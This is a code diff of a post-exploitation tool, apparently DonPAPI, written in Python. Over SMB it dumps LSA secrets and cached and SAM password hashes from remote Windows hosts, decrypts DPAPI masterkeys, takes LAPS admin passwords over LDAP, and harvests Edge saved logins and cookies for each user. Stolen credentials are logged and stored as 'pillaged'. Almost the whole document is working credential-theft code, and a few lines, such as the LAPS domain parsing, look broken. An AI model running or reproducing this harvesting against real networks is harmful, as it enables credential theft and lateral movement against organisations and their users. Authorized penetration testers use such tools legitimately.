- f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
- self.logging.debug(ex)
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
- tested_type.append('LOCAL')
- if user.masterkeys_file[guid]['status'] == 'encrypted':
- if 'DOMAIN' not in tested_type:
- return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type)
- elif 'MACHINE' not in tested_type:
- return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type)
- elif 'MACHINE-USER' not in tested_type:
- return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type)
-
- # on a pas su le dechiffrer, mais on conseve la masterkey
- '''if localfile not in user.masterkeys:
- user.masterkeys[localfile] = None'''
- if user.masterkeys_file[guid]['status'] == 'encrypted':
- user.masterkeys_file[guid]['status'] = 'decryption_failed'
- self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'], decrypted_with='',
- decrypted_value='',
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- return -1
- elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here
- return user.masterkeys_file[guid]
-
- def test_remoteOps(self):
- try:
- # Remove logging
- # logging.getLogger().setLevel(logging.CRITICAL)
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
-
- self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip)
- self.__remoteOps.setExecMethod('smbexec')
- self.__remoteOps.enableRegistry()
- self.__bootKey = self.__remoteOps.getBootKey()
- self.logging.debug(f"bootkey: {self.__bootKey}")
- SECURITYFileName = self.__remoteOps.saveSECURITY()
- self.logging.debug("savesecurity")
- self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True,
- history=True)
- self.logging.debug("LSASecret")
- self.__LSASecrets.dumpCachedHashes()
- self.logging.debug("dump cached hashes")
- self.__LSASecrets.dumpSecrets()
- self.__LSASecrets.finish()
-
- filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'LSA')
- Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
- self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}")
- finalfile = self.__LSASecrets.exportSecrets(filedest)
- self.logging.debug("ret file %s" % finalfile)
- self.__LSASecrets.exportCached(filedest)
- # Analyser les hash DCC2 pour un export massif.
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Except remoteOps LSA")
- self.logging.debug(ex)
- try:
- tmp_filedest = filedest + '.secrets'
- f = open(tmp_filedest, 'rb')
- secrets = f.read().split(b'\n')
- f.close()
- for index, secret in enumerate(secrets):
- if b'dpapi_machinekey' in secret:
- self.logging.info(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
- # print(secret.split(b'dpapi_machinekey:')[1])
- self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
- self.logging.debug(self.machine_key)
- if b'dpapi_userkey' in secret:
- self.logging.info(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
- self.user_key.append(secret.split(b'dpapi_userkey:')[1])
- self.logging.debug(self.user_key)
- if b':' in secret:
- if secret.count(b':') == 1:
- username, password = secret.split(b':')
- if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']:
- if username.decode('utf-8') not in self.options.credz:
-
- self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
-
- else:
- if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
- self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
- ############PROCESSING DATA
- self.db.add_credz(credz_type='LSA',
- credz_username=username.decode('utf-8'),
- credz_password=password.decode('utf-8'),
- credz_target='',
- credz_path=tmp_filedest,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username='MACHINE$')
-
- else:
- self.logging.debug("Secret %i - %s" % (index, secret))
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Except remoteOps Secrets")
- self.logging.debug(ex)
-
- try:
- ##Add DCC2
-
- tmp_filedest = filedest + '.cached'
- f = open(tmp_filedest, 'rb')
- secrets = f.read().split(b'\n')
- f.close()
- for index, secret in enumerate(secrets):
- if b':' in secret and b'#' in secret:
- if secret.count(b':') == 1:
- username, password = secret.split(b':')
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
- ############PROCESSING DATA
- self.db.add_credz(credz_type='DCC2',
- credz_username=username.decode('utf-8'),
- credz_password=password.decode('utf-8'),
- credz_target='',
- credz_path=tmp_filedest,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username='MACHINE$')
-
- else:
- self.logging.debug("Secret %i - %s" % (index, secret))
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
- self.logging.debug(ex)
-
- try:
- # Add SAM
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
- SAMFileName = self.__remoteOps.saveSAM()
- self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
- self.__SAMHashes.dump()
- filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'SAM')
- self.__SAMHashes.export(filedest)
- # Adding SAM hash to credz
- tmp_filedest = filedest + '.sam'
- f = open(tmp_filedest, 'rb')
- sam_data = f.read().split(b'\n')
- f.close()
- for sam_line in sam_data:
- if b':' in sam_line:
- if sam_line.count(b':') == 6:
- username, sid, lm, ntlm, _, _, _ = sam_line.split(b':')
- # On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
- '''
- if username.decode('utf-8') not in self.options.credz:
- self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
- else:
- if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
- self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
- '''
- ############PROCESSING DATA
- self.db.add_credz(credz_type='SAM',
- credz_username=username.decode('utf-8'),
- credz_password=ntlm.decode('utf-8'),
- credz_target='',
- credz_path=tmp_filedest,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username='MACHINE$')
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
- # logging.getLogger().setLevel(logging.DEBUG)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Except remoteOps SAM")
- self.logging.debug(ex)
- self.__remoteOps.finish()
- return 1
-
- def GetRecentFiles(self):
- myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
- self.users)
- myRecentFiles.run()
-
- def GetMRemoteNG(self):
- from donpapi.software.manager.mRemoteNG import mRemoteNG
- myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
- self.users)
- myMRemoteNG.run()
-
- def GetPutty(self):
- from donpapi.software.sysadmin.putty import Putty
- myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
- myPutty.run()
-
- def GetWinscp(self):
- from donpapi.software.sysadmin.winscp import Winscp
- myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
- myWinscp.run()
-
- def GetNew_Module(self):
- myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
- self.users)
- myNewModule.run()
-
- def GetCertificates(self):
- certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options,
- self.db, self.users, self.user_key, self.machine_key)
- certificates_triage.run()
-
- def do_test(self):
- try:
- if self.admin_privs and True:
- # self.do_info()
- self.do_who()
- self.get_users()
- #
-
- if self.options.no_remoteops == False:
- try:
- self.test_remoteOps()
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
- self.logging.debug(f"exception was : {ex}")
- # self.
- if self.options.no_dpapi == False:
- self.get_masterkeys()
- self.Get_DPAPI_Protected_Files()
- self.GetWifi()
- self.GetVaults()
- self.GetCertificates()
- if self.options.no_browser == False:
- self.GetChromeSecrets()
- self.GetEdgeSecrets()
- self.GetMozillaSecrets_wrapper()
- if self.options.no_sysadmins == False:
- self.GetMRemoteNG()
- self.GetPutty()
- self.GetWinscp()
- if self.options.no_vnc == False:
- self.GetVNC()
- if self.options.no_recent == False:
- self.GetRecentFiles()
-
- """
- ***Dev your new module code and start it from here
-
- if self.options.no_new_module == False:
- self.GetNew_Module()
- """
-
- # self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
- # for user in self.users:
- # user.resume_user_info()
- # user.resume_secrets()
- # else:
- # NOT ADMIN
- self.quit()
-
-
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] Not connected")
- self.logging.debug(f"exception was : {ex}")
-
- def get_secrets(self):
- all_secrets = {}
- for user in self.users:
- all_secrets[user] = user.get_secrets()
+ """MySeatBelt class."""
+ def __init__(self, target, options, logger, verbose=1):
+ self.host = target
+ self.options = copy.deepcopy(options)
+ self.options.target_ip = target
+ self.options.timeout = 5
+ # options.target_ip=target
+ self.logging = logger
+ self.smb = None
+
+ # self.username = options.username
+ # self.password = options.password
+ # self.domain = options.domain
+
+ """
+ msg_debug = f"[{target}] [-] initialising smb connection to {options.domain} / " \
+ f"{options.username} : {options.password}, @ {options.dc_ip} , Hash :" \
+ f" {options.lmhash} : { options.nthash}, AESKey {options.aesKey}"
+ self.logging.info(msg_debug)
+ smb_client = SMBConnection(options.address, target, sess_port=int(options.port))
+ if options.k is True:
+ smb_client.kerberosLogin(options.username, options.password, options.domain,
+ options.lmhash, options.nthash, options.aesKey, options.dc_ip )
+ else:
+ smb_client.login(options.username, options.password, options.domain, options.lmhash,
+ options.nthash)
+
+ self.smb = smb_client
+ """
+
+ # Init all
+ self.smbv1 = False
+ self.admin_privs = False
+ # self.username, self.password, self.domain, self.lmhash, self.nthash, \
+ # self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
+ self.share = None
+ self.last_output = None
+ self.completion = []
+ self.users = []
+ self.user_path = ''
+ self.machine_key = []
+ self.user_key = []
+
+ # self.options[logging] = logge
+ self.myfileops = None
+ self.myregops = None
+ # self.myfileops = MyFileOps(self.smb,self.logging,self.options)
+ self.credz = options.credz
+ self.__remoteOps = None
+ self.__bootKey = b''
+ self.__SAMHashes = None
+ self.__LSASecrets = None
+ self.global_logfile = b'globallog.log'
+ self.init_connect()
+
+ def init_connect(self):
+ """Init SQLite connection."""
+ try:
+ sqlite_database = sqlite3.connect(self.options.db_path, check_same_thread=False)
+ self.db = Database(sqlite_database, self.logging)
+ if self.create_conn_obj():
+ # self.do_info_rpc_unauth()
+ self.do_info_unauth()
+ self.create_conn_obj()
+ if self.login_conn():
+ self.is_admin()
+ if self.admin_privs:
+ self.myfileops = MyFileOps(self.smb, self.logging, self.options)
+ self.myregops = MyRegOps(self.logging, self.options)
+ return True
+ else:
+ return False
+ return False
+ except Exception:
+ self.logging.debug("Error init connect")
+ return False
+
+ def create_smbv1_conn(self):
+ """Create SMBv1 connection."""
+ try:
+ self.smb = SMBConnection(self.host, self.host, None, self.options.port,
+ preferredDialect=SMB_DIALECT, timeout=self.options.timeout)
+ self.smbv1 = True
+ self.logging.debug(f"SMBv1 OK on {self.host} - {self.options.target_ip}")
+ except socket.error as exc:
+ if "Connection reset by peer" in str(exc):
+ self.logging.debug(f"SMBv1 might be disabled on {self.host}")
+ return False
+ except Exception as exc:
+ self.logging.debug(f"Error creating SMBv1 connection to {self.host}: {str(exc)}")
+ return False
+
+ return True
+
+ def create_smbv3_conn(self):
+ """Create SMBv3 connection."""
+ try:
+ self.smb = SMBConnection(self.host, self.host, None, self.options.port,
+ timeout=self.options.timeout)
+ self.smbv1 = False
+ logging.debug(f"SMBv3 OK on {self.host} - {self.options.target_ip}")
+ except Exception as exc:
+ self.logging.debug(f"Error creating SMBv3 connection to {self.host}: {exc}")
+ self.db.add_computer(ip=self.host, connectivity=f"{exc}")
+ return False
+
+ return True
+
+ def create_conn_obj(self):
+ """Create connection object."""
+ # self.logging.info(f"[{self.options.target_ip}] [-] Initializing SMB connection " \
+ # f"to {self.options.domain} / {self.options.username} : " \
+ # f"{self.options.password}, @ {self.options.dc_ip} , Hash : " \
+ # f"{self.options.lmhash} : {self.options.nthash}, " \
+ # f"AESKey {self.options.aesKey}")
+ self.logging.debug(f"[{self.options.target_ip}] [-] Initializing SMB connection ...")
+ if self.create_smbv1_conn():
+ return True
+ if self.create_smbv3_conn():
+ return True
+ return False
+
+ def close_smb(self):
+ """Close SMB connection."""
+ try:
+ self.logging.debug(f"[{self.options.target_ip}] [-] Closing SMB connection ...")
+ # self.myfileops.close()
+ # self.myregops.close()
+ # self.smb.close()
+ self.logging.debug(f"[{self.options.target_ip}] [-] SMB closed ...")
+ except Exception:
+ self.logging.debug('Error in closing SMB connection')
+ return False
+
+ def get_laps(self):
+ """Get LAPS."""
+ try:
+ self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
+ f"admin password on {self.options.hostname} - domain " \
+ f"{self.options.domain} : dcip {self.options.dc_ip}")
+ ldap_domain = 'dc='
+ ldap_domain += ",dc=".join(self.options.domain.split('.').split('.'))
+
+ if self.options.dc_ip is not None:
+ srv = Server(self.options.dc_ip, get_info=ALL)
+ else:
+ srv = Server(self.options.domain, get_info=ALL)
+ conn = Connection(srv, user=self.options.domain + "\\" + self.options.username,
+ password=self.options.password, authentication=NTLM,
+ auto_bind=True)
+ conn.search(search_base=f"{ldap_domain}",
+ search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
+ attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
+ self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
+ f"admin password on {self.options.hostname} - " \
+ f"{ldap_domain} - got {len(conn.entries)} match")
+ if len(conn.entries) == 1:
+ # for entry in c.entries[0]:
+ entry = conn.entries[0]
+ # self.options.username = str(entry['sAMAccountName'])
+ self.options.password = str(entry['ms-Mcs-AdmPwd'])
+ # self.username = self.options.username
+ # self.password = self.options.password
+ self.options.local_auth = True
+ self.options.domain = self.options.hostname
+ return True
+ else:
+ return False
+ except Exception as ex:
+ self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} " \
+ f"in get LAPS {bcolors.ENDC}")
+ self.logging.debug(ex)
+ return False
+
+ def login_conn(self, username=None, password=None, domain=None):
+ try:
+ if username is None:
+ username = self.options.username
+ if password == None:
+ password = self.options.password
+ if domain == None:
+ domain = self.options.domain
+ # smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
+ if self.options.k is True:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
+ self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash,
+ self.options.aesKey, self.options.dc_ip)
+ return True
+ # elif self.options.hashes != None:
+ else:
+ if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
+ if (self.get_laps()):
+ for username in ['administrator', 'administrateur', 'administrador']:
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
+ self.smb.login(username, self.options.password, self.options.domain,
+ self.options.lmhash, self.options.nthash, ntlmFallback=True)
+ self.options.username = username
+ if username not in self.options.credz:
+ self.options.credz[username] = [self.options.password]
+ else:
+ self.options.credz[username].append(self.options.password)
+ return True
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
+ self.logging.debug(ex)
+ continue
+ else:
+ if username == "" and password == "":
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
+ self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
+ ntlmFallback=True)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
+ self.logging.debug(ex)
+ return False
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
+ self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
+ ntlmFallback=True)
+ '''except : #self.smb.STATUS_LOGON_FAILURE :
+ try:
+ if domain != self.hostname:
+ #Trying localy
+ self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
+ return True
+ else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
+ self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
+ return False
+ except Exception as ex:
+ self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
+ self.logging.debug(ex)
+ return False'''
+ # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
+ return True
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
+ self.logging.debug(ex)
+ return False
+
+ def GetUserByName(self, username):
+ for user in self.users:
+ if user.username == username:
+ return user
+ else:
+ self.logging.debug("User %s Not found in self.users" % username)
+
+ def is_admin(self):
+ self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
+ self.admin_privs = False
+ try:
+ self.smb.connectTree("C$")
+ self.admin_privs = True
+ self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
+ self.db.update_computer(ip=self.options.target_ip, is_admin=True)
+ except SessionError as e:
+ self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
+ self.logging.debug(f"[{self.options.target_ip}] {e}")
+ self.db.update_computer(ip=self.options.target_ip, is_admin=False)
+ pass
+ return self.admin_privs
+
+ def do_info_unauth(self):
+ # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
+ try:
+ # Null session to get basic infos
+ self.login_conn(username='', password='')
+ # self.domain = self.smb.getServerDNSDomainName()
+ self.options.hostname = self.smb.getServerName()
+ # self.options.hostname=self.hostname
+ self.server_os = self.smb.getServerOS()
+ self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
+ 'RequireSigning']
+ # self.os_arch = self.get_os_arch()
+ if self.options.domain == '': # no domain info == local auth
+ self.options.domain = self.options.hostname
+ # elif self.options.domain != '':
+ # self.domain = self.options.domain
+
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
+ self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname,
+ domain=self.smb.getServerDNSDomainName(), os=self.server_os,
+ smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1)
+
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def do_info_rpc_unauth(self):
+ try:
+ rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
+ smb_connection=self.smb)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+ dce.bind(srvs.MSRPC_UUID_SRVS)
+ resp = srvs.hNetrServerGetInfo(dce, 102)
+ self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
+ self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
+ except Exception as ex:
+ self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def do_info_with_auth(self):
+ # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
+ try:
+ # Null session to get basic infos
+ self.login_conn()
+ # self.domain = self.smb.getServerDNSDomainName()
+ self.options.hostname = self.smb.getServerName()
+ self.server_os = self.smb.getServerOS()
+ self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
+ 'RequireSigning']
+ # self.os_arch = self.get_os_arch()
+ if not self.domain and self.options.domain == '':
+ self.domain = self.options.hostname
+ elif self.options.domain != '':
+ self.domain = self.options.domain
+
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
+ # IP# print(self.smb.getRemoteHost())
+ # print(self.smb.getServerDNSDomainName())
+ rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
+ smb_connection=self.smb)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+ dce.bind(srvs.MSRPC_UUID_SRVS)
+ resp = srvs.hNetrServerGetInfo(dce, 102)
+ # self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
+ # self.os_arch = self.get_os_arch()
+
+ # self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
+ # self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
+ # self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
+ # self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
+ # self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
+ # self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
+ # USE user path
+ self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
+
+ self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain,
+ os=self.server_os)
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
+
+ except Exception as ex:
+ self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def logsecret(self, data):
+ try:
+ fh = open(self.global_logfile, 'ab')
+ fh.write(data.encode())
+ fh.close()
+ self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+
+ def GetEdgeSecrets(self):
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}")
+ blacklist = ['.', '..']
+
+ user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State',
+ 'ChromeLocalState', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies',
+ 'ChromeCookies', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default",
+ 'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
+ (
+ "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies',
+ 'ChromeCookies', 'DOMAIN'),
+ (
+ "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network",
+ 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data',
+ 'ChromeLoginData', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version',
+ 'ChromeVersion', 'DOMAIN'),
+ ]
+
+ for user in self.users:
+ if user.username == 'MACHINE$':
+ continue
+ else:
+ directories_to_use = user_directories
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
+ myoptions.key = None
+ myoptions.masterkeys = None
+ myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge")
+
+ # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
+ for info in directories_to_use:
+ my_dir, my_mask, my_blob_type, my_user_type = info
+ tmp_pwd = my_dir.format(
+ username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
+ self.logging.debug(
+ f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
+ my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ self.logging.debug("ls returned file %s" % longname)
+ if longname not in blacklist and not is_directory:
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
+ # Downloading Blob file
+ localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
+ # myoptions = copy.deepcopy(self.options)
+ if my_blob_type == 'ChromeLocalState':
+ try:
+ myChromeSecrets.localstate_path = localfile
+ guid = myChromeSecrets.get_masterkey_guid_from_localstate()
+ if guid != None:
+ masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ myChromeSecrets.masterkey = masterkey['key']
+ aesKey = myChromeSecrets.get_AES_key_from_localstate(
+ masterkey=masterkey['key'])
+ if aesKey != None:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeLoginData':
+ try:
+ myChromeSecrets.logindata_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ logins = myChromeSecrets.decrypt_chrome_LoginData()
+ user.files[longname]['secret'] = logins
+ if logins is not None:
+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeCookies':
+ try:
+ myChromeSecrets.cookie_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ cookies = myChromeSecrets.decrypt_chrome_CookieData()
+ user.files[longname]['secret'] = cookies
+ if cookies is not None:
